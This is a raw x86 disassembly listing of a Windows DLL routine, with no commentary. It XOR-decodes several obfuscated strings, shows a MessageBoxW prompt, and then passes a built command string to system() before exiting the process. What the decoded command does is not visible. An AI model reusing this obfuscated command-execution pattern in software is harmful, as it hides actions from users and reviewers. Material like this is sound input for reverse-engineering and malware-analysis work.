mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
cmp byte [ebp - 0xc1], 0
je 0x100ca957
mov dword [0x106cf094], 0x118
call fcn.100c7550
jmp 0x100cab81
mov eax, dword [str.DCGV4]
xor edx, edx
mov dword [ebp - 0xd4], eax
mov al, byte [0x106502a4]
mov dword [0x106cf094], 0x118
mov byte [ebp - 0xd0], al
mov dword [ebp - 0xc8], edx
nop dword [eax + eax]
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd4], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 5
jl 0x100ca320
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x114], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ca377
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.10053700
mov byte [ebp - 4], 0x1a
lea esi, [ebp - 0x114]
cmp dword [ebp - 0x100], 0xf
mov eax, dword [0x10650f00]
movq xmm0, qword [str.TE_XZWSMIZHX_]
mov dword [ebp - 0xd4], eax
mov ax, word [0x10650f04]
mov word [ebp - 0xd0], ax
mov al, byte [0x10650f06]
movq qword [ebp - 0xdc], xmm0
mov byte [ebp - 0xce], al
jbe 0x100ca3df
mov esi, dword [ebp - 0x114]
xor edx, edx
mov dword [ebp - 0xcc], edx
cmp edi, 2
jl 0x100ca500
movaps xmm2, xmmword [0x106544f0]
mov edx, 8
movaps xmm4, xmmword [0x10654a40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x10654620]
psrad xmm1, 5
mov dword [ebp - 0xcc], edx
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x10654500]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.TE_XZWSMIZHX_]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xdc], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0xd8]
xorps xmm1, xmm0
movd dword [ebp - 0xd8], xmm1
nop dword [eax + eax]
mov eax, 0xa0a0a0a1
imul edx
add edx, dword [ebp - 0xcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xcc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xdc], cl
inc edx
mov dword [ebp - 0xcc], edx
cmp edx, 0xf
jl 0x100ca500
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ca564
sub ecx, edx
lea eax, [ebp - 0xdc]
push ecx
push eax
lea ecx, [ebp - 0xfc]
call fcn.10053700
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0xfc]
push eax
call fcn.100f0670
mov edx, esi
mov ecx, eax
call fcn.100f0840
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0xe8]
mov byte [ebp - 0xc1], al
cmp ecx, 0xf
jbe 0x100ca5ee
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca5e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x100]
cmp ecx, 0xf
jbe 0x100ca62c
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca622
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
cmp byte [ebp - 0xc1], 0
je 0x100cabb3
movups xmm0, xmmword [0x10650cc4]
mov ax, word [0x10650cdc]
xor esi, esi
mov word [ebp - 0x118], ax
movups xmmword [ebp - 0x130], xmm0
movq xmm0, qword [0x10650cd4]
movq qword [ebp - 0x120], xmm0
cmp edi, 2
jl 0x100ca760
movaps xmm2, xmmword [0x106544f0]
mov eax, 0x10650cc4
movaps xmm3, xmmword [0x10654a40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x10654500]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [str.0000000055555555]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x130], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [ebp - 0x128]
paddw xmm1, xmmword [str.0000000055555555]
xorps xmm1, xmm0
movq qword [ebp - 0x128], xmm1
nop word [eax + eax]
mov eax, 0xa0a0a0a1
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x33
sub ecx, eax
add ecx, 0x30
xor word [ebp + esi*2 - 0x130], cx
inc esi
cmp esi, 0xd
jl 0x100ca760
movups xmm0, xmmword [str.tTFVWASS]
xor esi, esi
movups xmmword [ebp - 0x188], xmm0
movups xmm0, xmmword [0x106510c0]
movups xmmword [ebp - 0x178], xmm0
movups xmm0, xmmword [0x106510d0]
movups xmmword [ebp - 0x168], xmm0
movups xmm0, xmmword [0x106510e0]
movups xmmword [ebp - 0x158], xmm0
movups xmm0, xmmword [0x106510f0]
movups xmmword [ebp - 0x148], xmm0
movq xmm0, qword [str.7.t_]
movq qword [ebp - 0x138], xmm0
cmp edi, 2
jl 0x100ca902
movaps xmm4, xmmword [0x106544f0]
lea ecx, [ebp - 0x188]
movaps xmm3, xmmword [0x10654a40]
movaps xmm5, xmmword [0x10654530]
movaps xmm6, xmmword [str.0000000055555555]
nop
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ecx + esi*2]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ecx + esi*2], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ebp + esi*2 - 0x180]
xorps xmm1, xmm0
movq qword [ebp + esi*2 - 0x180], xmm1
add esi, 8
cmp esi, 0x28
jl 0x100ca810
cmp esi, 0x2c
jge 0x100ca92d
mov eax, 0xa0a0a0a1
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x33
sub ecx, eax
add ecx, 0x30
xor word [ebp + esi*2 - 0x188], cx
inc esi
cmp esi, 0x2c
jl 0x100ca902
push 0x20
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x188]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 6
je 0x100caa60
sub eax, 1
je 0x100cab81
lea ecx, [ebp - 0x48]
call fcn.100ee240
mov ecx, dword [ebp - 0xac]
cmp ecx, 0xf
jbe 0x100ca99b
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca991
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100ca991
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov ecx, dword [ebp - 0x54]
cmp ecx, 0xf
jbe 0x100ca9cb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca9c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100caa27
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0xf
jbe 0x100ca9fb
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca9f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100caa27
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x100caa37
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100caa2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100caa2d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102c1b57
add esp, 8
lea ecx, [ebp - 0xa8]
call fcn.100ee240
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.102c15f2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea eax, [ebp - 0xd4]
push eax
call fcn.100cabe0
mov edi, eax
cmp byte [edi + 6], 0
je 0x100caaac
xor ecx, ecx
mov dword [ebp - 0xc8], ecx
nop dword [eax]
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
mul ecx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0xc8]
inc ecx
mov dword [ebp - 0xc8], ecx
cmp ecx, 7
jl 0x100caa80
push edi
lea ecx, [ebp - 0xfc]
call fcn.10052420
mov ecx, eax
mov byte [ebp - 4], 0x1c
call fcn.100521f0
push eax
lea ecx, [ebp - 0x48]
call fcn.100f0670
push eax
mov ecx, 0x106cf0cc
call fcn.100f08f0
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0x11
call fcn.10052380
lea eax, [ebp - 0xd4]
push eax
call fcn.100cac10
mov edi, eax
cmp byte [edi + 6], 0
je 0x100cab2e
xor ecx, ecx
mov dword [ebp - 0xc8], ecx
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
mul ecx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0xc8]
inc ecx
mov dword [ebp - 0xc8], ecx
cmp ecx, 7
jl 0x100cab02
push edi
lea ecx, [ebp - 0x130]
call fcn.10052420
push 0x106cf0cc
mov ecx, eax
mov byte [ebp - 4], 0x1d
call fcn.100521f0
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10053180
add esp, 0xc
mov ecx, eax
call fcn.100521f0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x114]
call fcn.10052380
lea ecx, [ebp - 0x130]
call fcn.10052380
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [0x106cf094], 0x118
call fcn.100c4540
mov dword [0x106cf094], 0x118
call fcn.100c4340
int3